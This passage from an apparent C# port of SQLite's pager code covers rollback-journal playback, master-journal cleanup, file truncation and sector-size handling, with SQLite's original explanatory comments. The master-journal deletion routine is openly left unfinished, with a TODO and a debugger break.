}\n\n        /*\n        ** Read a single page from either the journal file (if isMainJrnl==1) or\n        ** from the sub-journal (if isMainJrnl==0) and playback that page.\n        ** The page begins at offset *pOffset into the file. The *pOffset\n        ** value is increased to the start of the next page in the journal.\n        **\n        ** The isMainJrnl flag is true if this is the main rollback journal and\n        ** false for the statement journal.  The main rollback journal uses\n        ** checksums - the statement journal does not.\n        **\n        ** If the page number of the page record read from the (sub-)journal file\n        ** is greater than the current value of Pager.dbSize, then playback is\n        ** skipped and SQLITE_OK is returned.\n        **\n        ** If pDone is not NULL, then it is a record of pages that have already\n        ** been played back.  If the page at *pOffset has already been played back\n        ** (if the corresponding pDone bit is set) then skip the playback.\n        ** Make sure the pDone bit corresponding to the *pOffset page is set\n        ** prior to returning.\n        **\n        ** If the page record is successfully read from the (sub-)journal file\n        ** and played back, then SQLITE_OK is returned. If an IO error occurs\n        ** while reading the record from the (sub-)journal file or while writing\n        ** to the database file, then the IO error code is returned. If data\n        ** is successfully read from the (sub-)journal file but appears to be\n        ** corrupted, SQLITE_DONE is returned. Data is considered corrupted in\n        ** two circumstances:\n        **\n        **   * If the record page-number is illegal (0 or PAGER_MJ_PGNO), or\n        **   * If the record is being rolled back from the main journal file\n        **     and the checksum field does not match the record content.\n        **\n        ** Neither of these two scenarios are possible during a savepoint rollback.\n        **\n        ** If this is a savepoint rollback, then memory may have to be dynamically\n        ** allocated by this function. If this is the case and an allocation fails,\n        ** SQLITE_NOMEM is returned.\n        */\n        static int pager_playback_one_page(\n        Pager pPager,                /* The pager being played back */\n        int isMainJrnl,              /* True for main rollback journal. False for Stmt jrnl */\n        int isUnsync,                /* True if reading from unsynced main journal */\n        ref i64 pOffset,             /* Offset of record to playback */\n        int isSavepnt,               /* True for a savepoint rollback */\n        Bitvec pDone                 /* Bitvec of pages already played back */\n        )\n        {\n            int rc;\n            PgHdr pPg;                   /* An existing page in the cache */\n            Pgno pgno = 0;               /* The page number of a page in journal */\n            u32 cksum = 0;               /* Checksum used for sanity checking */\n            u8[] aData;                  /* Temporary storage for the page */\n            sqlite3_file jfd;            /* The file descriptor for the journal file */\n\n            Debug.Assert((isMainJrnl & ~1) == 0);   /* isMainJrnl is 0 or 1 */\n            Debug.Assert((isSavepnt & ~1) == 0);    /* isSavepnt is 0 or 1 */\n            Debug.Assert(isMainJrnl != 0 || pDone != null);        /* pDone always used on sub-journals */\n            Debug.Assert(isSavepnt != 0 || pDone == null);    /* pDone never used on non-savepoint */\n\n            aData = pPager.pTmpSpace;\n            Debug.Assert(aData != null);         /* Temp storage must have already been allocated */\n\n            /* Read the page number and page data from the journal or sub-journal\n            ** file. Return an error code to the caller if an IO error occurs.\n            */\n            jfd = isMainJrnl != 0 ? pPager.jfd : pPager.sjfd;\n\n            rc = read32bits(jfd, pOffset, ref pgno);\n            if (rc != SQLITE_OK) return rc;\n            rc = sqlite3OsRead(jfd, aData, pPager.pageSize, (pOffset) + 4);\n            if (rc != SQLITE_OK) return rc;\n            pOffset += pPager.pageSize + 4 + isMainJrnl * 4;\n\n            /* Sanity checking on the page.  This is more important that I originally\n            ** thought.  If a power failure occurs while the journal is being written,\n            ** it could cause invalid data to be written into the journal.  We need to\n            ** detect this invalid data (with high probability) and ignore it.\n            */\n            if (pgno == 0 || pgno == PAGER_MJ_PGNO(pPager))\n            {\n                Debug.Assert(0 == isSavepnt);\n                return SQLITE_DONE;\n            }\n            if (pgno > pPager.dbSize || sqlite3BitvecTest(pDone, pgno) != 0)\n            {\n                return SQLITE_OK;\n            }\n            if (isMainJrnl != 0)\n            {\n                rc = read32bits(jfd, (pOffset) - 4, ref cksum);\n                if (rc != 0) return rc;\n                if (0 == isSavepnt && pager_cksum(pPager, aData) != cksum)\n                {\n                    return SQLITE_DONE;\n                }\n            }\n\n            if (pDone != null && (rc = sqlite3BitvecSet(pDone, pgno)) != SQLITE_OK)\n            {\n                return rc;\n            }\n\n            Debug.Assert(pPager.state == PAGER_RESERVED || pPager.state >= PAGER_EXCLUSIVE);\n\n            /* If the pager is in RESERVED state, then there must be a copy of this\n            ** page in the pager cache. In this case just update the pager cache,\n            ** not the database file. The page is left marked dirty in this case.\n            **\n            ** An exception to the above rule: If the database is in no-sync mode\n            ** and a page is moved during an incremental vacuum then the page may\n            ** not be in the pager cache. Later: if a malloc() or IO error occurs\n            ** during a Movepage() call, then the page may not be in the cache\n            ** either. So the condition described in the above paragraph is not\n            ** Debug.Assert()able.\n            **\n            ** If in EXCLUSIVE state, then we update the pager cache if it exists\n            ** and the main file. The page is then marked not dirty.\n            **\n            ** Ticket #1171:  The statement journal might contain page content that is\n            ** different from the page content at the start of the transaction.\n            ** This occurs when a page is changed prior to the start of a statement\n            ** then changed again within the statement.  When rolling back such a\n            ** statement we must not write to the original database unless we know\n            ** for certain that original page contents are synced into the main rollback\n            ** journal.  Otherwise, a power loss might leave modified data in the\n            ** database file without an entry in the rollback journal that can\n            ** restore the database to its original form.  Two conditions must be\n            ** met before writing to the database files. (1) the database must be\n            ** locked.  (2) we know that the original page content is fully synced\n            ** in the main journal either because the page is not in cache or else\n            ** the page is marked as needSync==0.\n            **\n            ** 2008-04-14:  When attempting to vacuum a corrupt database file, it\n            ** is possible to fail a statement on a database that does not yet exist.\n            ** Do not attempt to write if database file has never been opened.\n            */\n            pPg = pager_lookup(pPager, pgno);\n            Debug.Assert(pPg != null ||\n#if SQLITE_OMIT_MEMORYDB\n0==MEMDB\n#else\n pPager.memDb == 0\n#endif\n );\n\n\n            PAGERTRACE(\"PLAYBACK %d page %d hash(%08x) %s\\n\",\n            PAGERID(pPager), pgno, pager_datahash(pPager.pageSize, aData),\n            (isMainJrnl != 0 ? \"main-journal\" : \"sub-journal\")\n            );\n            if ((pPager.state >= PAGER_EXCLUSIVE)\n            && (pPg == null || 0 == (pPg.flags & PGHDR_NEED_SYNC))\n            && isOpen(pPager.fd)\n            && 0 == isUnsync\n            )\n            {\n                i64 ofst = (pgno - 1) * (i64)pPager.pageSize;\n                rc = sqlite3OsWrite(pPager.fd, aData, pPager.pageSize, ofst);\n                if (pgno > pPager.dbFileSize)\n                {\n                    pPager.dbFileSize = (u32)pgno;\n                }\n                if (pPager.pBackup != null)\n                {\n#if SQLITE_HAS_CODEC\nCODEC1( pPager, aData, pgno, 3, rc = SQLITE_NOMEM );\n#endif\n                    sqlite3BackupUpdate(pPager.pBackup, pgno, aData);\n#if SQLITE_HAS_CODEC\nCODEC1( pPager, aData, pgno, 0, rc = SQLITE_NOMEM );\n#endif\n                }\n            }\n            else if (0 == isMainJrnl && pPg == null)\n            {\n                /* If this is a rollback of a savepoint and data was not written to\n                ** the database and the page is not in-memory, there is a potential\n                ** problem. When the page is next fetched by the b-tree layer, it\n                ** will be read from the database file, which may or may not be\n                ** current.\n                **\n                ** There are a couple of different ways this can happen. All are quite\n                ** obscure. When running in synchronous mode, this can only happen\n                ** if the page is on the free-list at the start of the transaction, then\n                ** populated, then moved using sqlite3PagerMovepage().\n                **\n                ** The solution is to add an in-memory page to the cache containing\n                ** the data just read from the sub-journal. Mark the page as dirty\n                ** and if the pager requires a journal-sync, then mark the page as\n                ** requiring a journal-sync before it is written.\n                */\n                Debug.Assert(isSavepnt != 0);\n                if ((rc = sqlite3PagerAcquire(pPager, (u32)pgno, ref pPg, 1)) != SQLITE_OK)\n                {\n                    return rc;\n                }\n                pPg.flags &= ~PGHDR_NEED_READ;\n                sqlite3PcacheMakeDirty(pPg);\n            }\n            if (pPg != null)\n            {\n                /* No page should ever be explicitly rolled back that is in use, except\n                ** for page 1 which is held in use in order to keep the lock on the\n                ** database active. However such a page may be rolled back as a result\n                ** of an internal error resulting in an automatic call to\n                ** sqlite3PagerRollback().\n                */\n                byte[] pData = pPg.pData;\n                Buffer.BlockCopy(aData, 0, pData, 0, pPager.pageSize);// memcpy(pData, aData, pPager.pageSize);\n                pPager.xReiniter(pPg);\n                if (isMainJrnl != 0 && (0 == isSavepnt || pOffset <= pPager.journalHdr))\n                {\n                    /* If the contents of this page were just restored from the main\n                    ** journal file, then its content must be as they were when the\n                    ** transaction was first opened. In this case we can mark the page\n                    ** as clean, since there will be no need to write it out to the.\n                    **\n                    ** There is one exception to this rule. If the page is being rolled\n                    ** back as part of a savepoint (or statement) rollback from an\n                    ** unsynced portion of the main journal file, then it is not safe\n                    ** to mark the page as clean. This is because marking the page as\n                    ** clean will clear the PGHDR_NEED_SYNC flag. Since the page is\n                    ** already in the journal file (recorded in Pager.pInJournal) and\n                    ** the PGHDR_NEED_SYNC flag is cleared, if the page is written to\n                    ** again within this transaction, it will be marked as dirty but\n                    ** the PGHDR_NEED_SYNC flag will not be set. It could then potentially\n                    ** be written out into the database file before its journal file\n                    ** segment is synced. If a crash occurs during or following this,\n                    ** database corruption may ensue.\n                    */\n\n                    sqlite3PcacheMakeClean(pPg);\n                }\n#if SQLITE_CHECK_PAGES\npPg.pageHash = pager_pagehash(pPg);\n#endif\n                /* If this was page 1, then restore the value of Pager.dbFileVers.\n        ** Do this before any decoding. */\n                if (pgno == 1)\n                {\n                    Buffer.BlockCopy(pData, 24, pPager.dbFileVers, 0, pPager.dbFileVers.Length); //memcpy(pPager.dbFileVers, ((u8*)pData)[24], sizeof(pPager.dbFileVers));\n                }\n\n                /* Decode the page just read from disk */\n#if SQLITE_HAS_CODEC\nCODEC1(pPager, pData, pPg.pgno, 3, rc=SQLITE_NOMEM);\n#endif\n                sqlite3PcacheRelease(pPg);\n            }\n            return rc;\n        }\n\n        /*\n        ** Parameter zMaster is the name of a master journal file. A single journal\n        ** file that referred to the master journal file has just been rolled back.\n        ** This routine checks if it is possible to delete the master journal file,\n        ** and does so if it is.\n        **\n        ** Argument zMaster may point to Pager.pTmpSpace. So that buffer is not\n        ** available for use within this function.\n        **\n        ** When a master journal file is created, it is populated with the names\n        ** of all of its child journals, one after another, formatted as utf-8\n        ** encoded text. The end of each child journal file is marked with a\n        ** nul-terminator byte (0x00). i.e. the entire contents of a master journal\n        ** file for a transaction involving two databases might be:\n        **\n        **   \"/home/bill/a.db-journal\\x00/home/bill/b.db-journal\\x00\"\n        **\n        ** A master journal file may only be deleted once all of its child\n        ** journals have been rolled back.\n        **\n        ** This function reads the contents of the master-journal file into\n        ** memory and loops through each of the child journal names. For\n        ** each child journal, it checks if:\n        **\n        **   * if the child journal exists, and if so\n        **   * if the child journal contains a reference to master journal\n        **     file zMaster\n        **\n        ** If a child journal can be found that matches both of the criteria\n        ** above, this function returns without doing anything. Otherwise, if\n        ** no such child journal can be found, file zMaster is deleted from\n        ** the file-system using sqlite3OsDelete().\n        **\n        ** If an IO error within this function, an error code is returned. This\n        ** function allocates memory by calling sqlite3Malloc(). If an allocation\n        ** fails, SQLITE_NOMEM is returned. Otherwise, if no IO or malloc errors\n        ** occur, SQLITE_OK is returned.\n        **\n        ** TODO: This function allocates a single block of memory to load\n        ** the entire contents of the master journal file. This could be\n        ** a couple of kilobytes or so - potentially larger than the page\n        ** size.\n        */\n        static int pager_delmaster(Pager pPager, string zMaster)\n        {\n            sqlite3_vfs pVfs = pPager.pVfs;\n            int rc;                       /* Return code */\n            sqlite3_file pMaster;         /* Malloc'd master-journal file descriptor */\n            sqlite3_file pJournal;        /* Malloc'd child-journal file descriptor */\n            string zMasterJournal = null; /* Contents of master journal file */\n            i64 nMasterJournal;           /* Size of master journal file */\n\n            /* Allocate space for both the pJournal and pMaster file descriptors.\n            ** If successful, open the master journal file for reading.\n            */\n            pMaster = new sqlite3_file();// (sqlite3_file*)sqlite3MallocZero( pVfs.szOsFile * 2 );\n            pJournal = new sqlite3_file();// (sqlite3_file*)( ( (u8*)pMaster ) + pVfs.szOsFile );\n            if (null == pMaster)\n            {\n                rc = SQLITE_NOMEM;\n            }\n            else\n            {\n                const int flags = (SQLITE_OPEN_READONLY | SQLITE_OPEN_MASTER_JOURNAL);\n                int iDummy = 0;\n                rc = sqlite3OsOpen(pVfs, zMaster, pMaster, flags, ref iDummy);\n            }\n            if (rc != SQLITE_OK) goto delmaster_out;\n\n            Debugger.Break();    //TODO --\n                                 //rc = sqlite3OsFileSize( pMaster, &nMasterJournal );\n                                 //if ( rc != SQLITE_OK ) goto delmaster_out;\n\n            //if ( nMasterJournal > 0 )\n            //{\n            //  char* zJournal;\n            //  char* zMasterPtr = 0;\n            //  int nMasterPtr = pVfs.mxPathname + 1;\n\n            //  /* Load the entire master journal file into space obtained from\n            //  ** sqlite3_malloc() and pointed to by zMasterJournal.\n            //  */\n            //  zMasterJournal = sqlite3Malloc((int)nMasterJournal + nMasterPtr + 1);\n            //  if ( !zMasterJournal )\n            //  {\n            //    rc = SQLITE_NOMEM;\n            //    goto delmaster_out;\n            //  }\n            //  zMasterPtr = &zMasterJournal[nMasterJournal+1];\n            //  rc = sqlite3OsRead( pMaster, zMasterJournal, (int)nMasterJournal, 0 );\n            //  if ( rc != SQLITE_OK ) goto delmaster_out;\n            //  zMasterJournal[nMasterJournal] = 0;\n\n\n            //  zJournal = zMasterJournal;\n            //  while ( ( zJournal - zMasterJournal ) < nMasterJournal )\n            //  {\n            //    int exists;\n            //    rc = sqlite3OsAccess( pVfs, zJournal, SQLITE_ACCESS_EXISTS, &exists );\n            //    if ( rc != SQLITE_OK )\n            //    {\n            //      goto delmaster_out;\n            //    }\n            //    if ( exists )\n            //    {\n            //      /* One of the journals pointed to by the master journal exists.\n            //      ** Open it and check if it points at the master journal. If\n            //      ** so, return without deleting the master journal file.\n            //      */\n            //      int c;\n            //      int flags = ( SQLITE_OPEN_READONLY | SQLITE_OPEN_MAIN_JOURNAL );\n            //      rc = sqlite3OsOpen( pVfs, zJournal, pJournal, flags, 0 );\n            //      if ( rc != SQLITE_OK )\n            //      {\n            //        goto delmaster_out;\n            //      }\n\n            //      rc = readMasterJournal( pJournal, zMasterPtr, nMasterPtr );\n            //      sqlite3OsClose( pJournal );\n            //      if ( rc != SQLITE_OK )\n            //      {\n            //        goto delmaster_out;\n            //      }\n\n            //      c = zMasterPtr[0] != 0 && strcmp( zMasterPtr, zMaster ) == 0;\n            //      if ( c )\n            //      {\n            //        /* We have a match. Do not delete the master journal file. */\n            //        goto delmaster_out;\n            //      }\n            //    }\n            //    zJournal += ( sqlite3Strlen30( zJournal ) + 1 );\n            //  }\n            //}\n\n            //rc = sqlite3OsDelete( pVfs, zMaster, 0 );\n\n\n            goto delmaster_out;\n        delmaster_out:\n            if (zMasterJournal != null)\n            {\n                //sqlite3_free( ref zMasterJournal );\n            }\n            if (pMaster != null)\n            {\n                sqlite3OsClose(pMaster);\n                Debug.Assert(!isOpen(pJournal));\n            }\n            //sqlite3_free( ref  pMaster );\n            return rc;\n        }\n\n\n\n        /*\n        ** This function is used to change the actual size of the database\n        ** file in the file-system. This only happens when committing a transaction,\n        ** or rolling back a transaction (including rolling back a hot-journal).\n        **\n        ** If the main database file is not open, or an exclusive lock is not\n        ** held, this function is a no-op. Otherwise, the size of the file is\n        ** changed to nPage pages (nPage*pPager.pageSize bytes). If the file\n        ** on disk is currently larger than nPage pages, then use the VFS\n        ** xTruncate() method to truncate it.\n        **\n        ** Or, it might might be the case that the file on disk is smaller than\n        ** nPage pages. Some operating system implementations can get confused if\n        ** you try to truncate a file to some size that is larger than it\n        ** currently is, so detect this case and write a single zero byte to\n        ** the end of the new file instead.\n        **\n        ** If successful, return SQLITE_OK. If an IO error occurs while modifying\n        ** the database file, return the error code to the caller.\n        */\n        static int pager_truncate(Pager pPager, u32 nPage)\n        {\n            int rc = SQLITE_OK;\n            if (pPager.state >= PAGER_EXCLUSIVE && isOpen(pPager.fd))\n            {\n                int currentSize = 0; int newSize;\n                /* TODO: Is it safe to use Pager.dbFileSize here? */\n                rc = sqlite3OsFileSize(pPager.fd, ref currentSize);\n                newSize = (int)(pPager.pageSize * nPage);\n                if (rc == SQLITE_OK && currentSize != newSize)\n                {\n                    if (currentSize > newSize)\n                    {\n                        rc = sqlite3OsTruncate(pPager.fd, newSize);\n                    }\n                    else\n                    {\n                        rc = sqlite3OsWrite(pPager.fd, new byte[1], 1, newSize - 1);\n                    }\n                    if (rc == SQLITE_OK)\n                    {\n                        pPager.dbSize = nPage;\n                    }\n                }\n            }\n            return rc;\n        }\n\n        /*\n        ** Set the value of the Pager.sectorSize variable for the given\n        ** pager based on the value returned by the xSectorSize method\n        ** of the open database file. The sector size will be used used\n        ** to determine the size and alignment of journal header and\n        ** master journal pointers within created journal files.\n        **\n        ** For temporary files the effective sector size is always 512 bytes.\n        **\n        ** Otherwise, for non-temporary files, the effective sector size is\n        ** the value returned by the xSectorSize() method rounded up to 512 if\n        ** it is less than 512, or rounded down to MAX_SECTOR_SIZE if it\n        ** is greater than MAX_SECTOR_SIZE.\n        */\n        static void setSectorSize(Pager pPager)\n        {\n            Debug.Assert(isOpen(pPager.fd) || pPager.tempFile);\n            if (!pPager.tempFile)\n            {\n                /* Sector size doesn't matter for temporary files. Also, the file\n                ** may not have been opened yet, in which case the OsSectorSize()\n                ** call will segfault.\n                */\n                pPager.sectorSize = (u32)sqlite3OsSectorSize(pPager.fd);\n            }\n            if (pPager.sectorSize < 512)\n            {\n                Debug.Assert(MAX_SECTOR_SIZE >= 512);\n                pPager.sectorSize = 512;\n            }\n            if (pPager.sectorSize > MAX_SECTOR_SIZE)\n            {\n                pPager.sectorSize = MAX_SECTOR_SIZE;\n            }\n        }\n\n\n        /*\n        ** Playback the journal and thus restore the database file to\n        ** the state it was in before we started making changes.\n        **\n        ** The journal file format is as follows:\n        **\n        **  (1)  8 byte prefix.  A copy of aJournalMagic[].\n        **  (2)  4 byte big-endian integer which is the number of valid page records\n        **       in the journal.  If this value is 0xffffffff, then compute the\n        **       number of page records from the journal size.\n        **  (3)  4 byte big-endian integer which is the initial value for the\n        **       sanity checksum.\n        **  (4)  4 byte integer which is the number of pages to truncate the\n        **       database to during a rollback.\n        **  (5)  4 byte big-endian integer which is the sector size.  The header\n        **       is this many bytes in size.\n        **  (6)  4 byte big-endian integer which is the page case.\n        **  (7)  4 byte integer which is the number of bytes in the master journal\n        **       name.  The value may be zero (indicate that there is no master\n        **       journal.)\n        **  (8)  N bytes of the master journal name.  The name will be nul-terminated\n        **       and might be shorter than the value read from (5).  If the first byte\n        **       of the name is \\000 then there is no master journal.  The master\n        **       journal name is stored in UTF-8.\n        **  (9)  Zero or more pages instances, each as follows:\n        **        +  4 byte page number.\n        **        +  pPager.pageSize bytes of data.\n        **        +  4 byte checksum\n        **\n        ** When we speak of the journal header, we mean the first 8 items above.\n        ** Each entry in the journal is an instance of the 9th item.\n        **\n        ** Call the value from the second bullet \"nRec\".  nRec is the number of\n        ** valid page entries in the journal.  In most cases, you can compute the\n        ** value of nRec from the size of the journal file.  But if a power\n        ** failure occurred while the journal was being written, it could be the\n        ** case that the size of the journal file had already been increased but\n        ** the extra entries had not yet made it safely to disk.  In such a case,\n        ** the value of nRec computed from the file size would be too large.  For\n        ** that reason, we always use the nRec value in the header.\n        **\n        ** If the nRec value is 0xffffffff it means that nRec should be computed\n        ** from the file size.  This value is used when the user selects the\n        ** no-sync option for the journal.  A power failure could lead to corruption\n        ** in this case.  But for things like temporary table (which will be\n        ** deleted when the power is restored) we don't care.\n        **\n        ** If the file opened as the journal file is not a well-formed\n        ** journal file then all pages up to the first corrupted page are rolled\n        ** back (or no pages if the journal header is corrupted). The journal file\n        ** is then deleted and SQLITE_OK returned, just as if no corruption had\n        ** been encountered.\n        **\n        ** If an I/O or malloc() error occurs, the journal-file is not deleted\n        ** and an error code is returned.\n        **\n        ** The isHot parameter indicates that we are trying to rollback a journal\n        ** that might be a hot journal.  Or, it could be that the journal is\n        ** preserved because of JOURNALMODE_PERSIST or JOURNALMODE_TRUNCATE.\n        ** If the journal really is hot, reset the pager cache prior rolling\n        ** back any content.  If the journal is merely persistent, no reset is\n        ** needed.\n        */\n        static int pager_playback(Pager pPager, int isHot)\n        {\n            sqlite3_vfs pVfs = pPager.pVfs;\n            int szJ = 0;             /* Size of the journal file in bytes */\n            u32 nRec = 0;            /* Number of Records in the journal */\n            u32 u;                   /* Unsigned loop counter */\n            u32 mxPg = 0;            /* Size of the original file in pages */\n            int rc;                  /* Result code of a subroutine */\n            int res = 1;             /* Value returned by sqlite3OsAccess() */\n            byte[] zMaster = null;   /* Name of master journal file if any */\n            int needPagerReset;      /* True to reset page prior to first page rollback */\n\n            /* Figure out how many records are in the journal.  Abort early if\n            ** the journal is empty.\n            */\n            Debug.Assert(isOpen(pPager.jfd));\n            rc = sqlite3OsFileSize(pPager.jfd, ref szJ);\n            if (rc != SQLITE_OK || szJ == 0)\n            {\n                goto end_playback;\n            }\n\n            /* Read the master journal name from the journal, if it is present.\n            ** If a master journal file name is specified, but the file is not\n            ** present on disk, then the journal is not hot and does not need to be\n            ** played back.\n            **\n            ** TODO: Technically the following is an error because it assumes that\n            ** buffer Pager.pTmpSpace is (mxPathname+1) bytes or larger. i.e. that\n            ** (pPager.pageSize >= pPager.pVfs->mxPathname+1). Using os_unix.c,\n            **  mxPathname is 512, which is the same as the minimum allowable value\n            ** for pageSize.\n            */\n            zMaster = new byte[pPager.pVfs.mxPathname + 1];// pPager.pTmpSpace );\n            rc = readMasterJournal(pPager.jfd, zMaster, (u32)pPager.pVfs.mxPathname + 1);\n            if (rc == SQLITE_OK && zMaster[0] != 0)\n            {\n                rc = sqlite3OsAccess(pVfs, Encoding.UTF8.GetString(zMaster), SQLITE_ACCESS_EXISTS, ref res);\n            }\n            zMaster = null;\n            if (rc != SQLITE_OK || res == 0)\n            {\n                goto end_playback;\n            }\n            pPager.journalOff = 0;\n            needPagerReset = isHot;\n\n            /* This loop terminates either when a readJournalHdr() or\n            ** pager_playback_one_page() call returns SQLITE_DONE or an IO error\n            ** occurs.\n            */\n            while (true)\n            {\n                int isUnsync = 0;\n\n                /* Read the next journal header from the journal file.  If there are\n                ** not enough bytes left in the journal file for a complete header, or\n                ** it is corrupted, then a process must of failed while writing it.\n                ** This indicates nothing more needs to be rolled back.\n                */\n                rc = readJournalHdr(pPager, isHot, szJ, ref nRec, ref mxPg);\n                if (rc != SQLITE_OK)\n                {\n                    if (rc == SQLITE_DONE)\n                    {\n                        rc = SQLITE_OK;\n                    }\n                    goto end_playback;\n                }\n\n                /* If nRec is 0xffffffff, then this journal was created by a process\n                ** working in no-sync mode. This means that the rest of the journal\n                ** file consists of pages, there are no more journal headers. Compute\n                ** the value of nRec based on this assumption.\n                */\n                if (nRec == 0xffffffff)\n                {\n                    Debug.Assert(pPager.journalOff == JOURNAL_HDR_SZ(pPager));\n                    nRec = (u32)((szJ - JOURNAL_HDR_SZ(pPager)) / JOURNAL_PG_SZ(pPager));\n                }\n\n                /* If nRec is 0 and this rollback is of a transaction created by this\n                ** process and if this is the final header in the journal, then it means\n                ** that this part of the journal was being filled but has not yet been\n                ** synced to disk.  Compute the number of pages based on the remaining\n                ** size of the file.\n                **\n                ** The third term of the test was added to fix ticket #2565.\n                ** When rolling back a hot journal, nRec==0 always means that the next\n                ** chunk of the journal contains zero pages to be rolled back.  But\n                ** when doing a ROLLBACK and the nRec==0 chunk is the last chunk in\n                ** the journal, it means that the journal might contain additional\n                ** pages that need to be rolled back and that the number of pages\n                ** should be computed based on the journal file size.\n                */\n                if (nRec == 0 && 0 == isHot &&\n                pPager.journalHdr + JOURNAL_HDR_SZ(pPager) == pPager.journalOff)\n                {\n                    nRec = (u32)((szJ - pPager.journalOff) / JOURNAL_PG_SZ(pPager));\n                    isUnsync = 1;\n                }\n\n                /* If this is the first header read from the journal, truncate the\n                ** database file back to its original size.\n                */\n                if (pPager.journalOff == JOURNAL_HDR_SZ(pPager))\n                {\n                    rc = pager_truncate(pPager, mxPg);\n                    if (rc != SQLITE_OK)\n                    {\n                        goto end_playback;\n                    }\n                    pPager.dbSize = mxPg;\n                }\n\n                /* Copy original pages out of the journal and back into the\n                ** database file and/or page cache.\n                */\n                for (u = 0; u < nRec; u++)\n                {\n                    if (needPagerReset != 0)\n                    {\n                        pager_reset(pPager);\n                        needPagerReset = 0;\n                    }\n                    rc = pager_playback_one_page(pPager, 1, isUnsync, ref pPager.journalOff, 0, null);\n                    if (rc != SQLITE_OK)\n                    {\n                        if (rc == SQLITE_DONE)\n                        {\n                            rc = SQLITE_OK;\n                            pPager.journalOff = szJ;\n                            break;\n                        }\n                        else\n                        {\n                            /* If we are unable to rollback, quit and return the error\n                            ** code.  This will cause the pager to enter the error state\n                            ** so that no further harm will be done.  Perhaps the next\n                            ** process to come along will be able to rollback the database.\n                            */\n                            goto end_playback;\n                        }\n                    }\n                }\n            }\n            /*NOTREACHED*/\n            //Debugger.Break();\n\n        end_playback:\n            /* Following a rollback, the database file should be back in its original\n            ** state prior to the start of the transaction, so invoke the\n            ** SQLITE_FCNTL_DB_UNCHANGED file-control method to disable the\n            ** assertion that the transaction counter was modified.\n            */\n            int iDummy = 0;\n            Debug.Assert(\n            pPager.fd.pMethods == null ||\n            sqlite3OsFileControl(pPager.fd, SQLITE_FCNTL_DB_UNCHANGED, ref iDummy) >= SQLITE_OK\n            );\n\n            /* If this playback is happening automatically as a result of an IO or\n            ** malloc error that occurred after the change-counter was updated but\n            ** before the transaction was committed, then the change-counter\n            ** modification may just have been reverted. If this happens in exclusive\n            ** mode, then subsequent transactions performed by the connection will not\n            ** update the change-counter at all. This may lead to cache inconsistency\n            ** problems for other processes at some point in the future. So, just\n            ** in case this has happened, clear the changeCountDone flag now.\n            */\n            pPager.changeCountDone = pPager.tempFile;\n\n            if (rc == SQLITE_OK)\n            {\n                zMaster = new byte[pPager.pVfs.mxPathname + 1];//pPager.pTmpSpace );\n                rc = readMasterJournal(pPager.jfd, zMaster, (u32)pPager.pVfs.mxPathname + 1);\n                testcase(rc != SQLITE_OK);\n            }\n            if (rc == SQLITE_OK)\n            {\n                rc = pager_end_transaction(pPager, zMaster[0] != '\\0' ? 1 : 0);\n                testcase(rc != SQLITE_OK);\n            }\n            if (rc == SQLITE_OK && zMaster[0] != '\\0' && res != 0)\n            {\n                /* If there was a master journal and this routine will return success,\n                ** see if it is possible to delete the master journal.\n                */\n                rc = pager_delmaster(pPager, Encoding.UTF8.GetString(zMaster));\n                testcase(rc != SQLITE_OK);\n            }\n\n            /* The Pager.sectorSize variable may have been updated while rolling\n            ** back a journal created by a process with a different sector size\n            ** value. Reset it to the correct value for this process.\n            */\n            setSectorSize(pPager);\n            return rc;\n        }\n\n        /*\n        ** Playback savepoint pSavepoint. Or, if pSavepoint==NULL, then playback\n        ** the entire master journal file. The case pSavepoint==NULL occurs when\n        ** a ROLLBACK TO command is invoked on a SAVEPOINT that is a transaction\n        ** savepoint.\n        **\n        ** When pSavepoint is not NULL (meaning a non-transaction savepoint is\n        ** being rolled back), then the rollback consists of up to three stages,\n        ** performed in the order specified:\n        **\n        **   * Pages are played back from the main journal starting at byte\n        **     offset PagerSavepoint.iOffset and continuing to\n        **     PagerSavepoint.iHdrOffset, or to the end of the main journal\n        **     file if PagerSavepoint.iHdrOffset is zero.\n        **\n        **   * If PagerSavepoint.iHdrOffset is not zero, then pages are played\n        **     back starting from the journal header immediately following\n        **     PagerSavepoint.iHdrOffset to the end of the main journal file.\n        **\n        **   * Pages are then played back from the sub-journal file, starting\n        **     with the PagerSavepoint.iSubRec and continuing to the end of\n        **     the journal file.\n        **\n        ** Throughout the rollback process, each time a page is rolled back, the\n        ** corresponding bit is set in a bitvec structure (variable pDone in the\n        ** implementation below). This is used to ensure that a page is only\n        ** rolled back the first time it is encountered in either journal.\n        **\n        ** If pSavepoint is NULL, then pages are only played back from the main\n        ** journal file. There is no need for a bitvec in this case.\n        **\n        ** In either case, before playback commences the Pager.dbSize variable\n        ** is reset to the value that it held at the start of the savepoint\n        ** (or transaction). No page with a page-number greater than this value\n        ** is played back. If one is encountered it is simply skipped.\n        */\n        static int pagerPlaybackSavepoint(Pager pPager, PagerSavepoint pSavepoint)\n        {\n            i64 szJ;                 /* Effective size of the main journal */\n            i64 iHdrOff;             /* End of first segment of main-journal records */\n            int rc = SQLITE_OK;      /* Return code */\n            Bitvec pDone = null;     /* Bitvec to ensure pages played back only once */\n\n            Debug.Assert(pPager.state >= PAGER_SHARED);\n            /* Allocate a bitvec to use to store the set of pages rolled back */\n            if (pSavepoint != null)\n            {\n                pDone = sqlite3BitvecCreate(pSavepoint.nOrig);\n                if (null == pDone)\n                {\n                    return SQLITE_NOMEM;\n                }\n            }\n\n            /* Set the database size back to the value it was before the savepoint\n            ** being reverted was opened.\n            */\n            pPager.dbSize = pSavepoint != null ? pSavepoint.nOrig : pPager.dbOrigSize;\n\n            /* Use pPager.journalOff as the effective size of the main rollback\n            ** journal.  The actual file might be larger than this in\n            ** PAGER_JOURNALMODE_TRUNCATE or PAGER_JOURNALMODE_PERSIST.  But anything\n            ** past pPager.journalOff is off-limits to us.\n            */\n            szJ = pPager.journalOff;\n\n            /* Begin by rolling back records from the main journal starting at\n            ** PagerSavepoint.iOffset and continuing to the next journal header.\n            ** There might be records in the main journal that have a page number\n            ** greater than the current database size (pPager.dbSize) but those\n            ** will be skipped automatically.  Pages are added to pDone as they\n            ** are played back.\n            */\n            if (pSavepoint != null)\n            {\n                iHdrOff = pSavepoint.iHdrOffset != 0 ? pSavepoint.iHdrOffset : szJ;\n                pPager.journalOff = pSavepoint.iOffset;\n                while (rc == SQLITE_OK && pPager.journalOff < iHdrOff)\n                {\n                    rc = pager_playback_one_page(pPager, 1, 0, ref pPager.journalOff, 1, pDone);\n                }\n                Debug.Assert(rc != SQLITE_DONE);\n            }\n            else\n            {\n                pPager.journalOff = 0;\n            }\n\n            /* Continue rolling back records out of the main journal starting at\n            ** the first journal header seen and continuing until the effective end\n            ** of the main journal file.  Continue to skip out-of-range pages 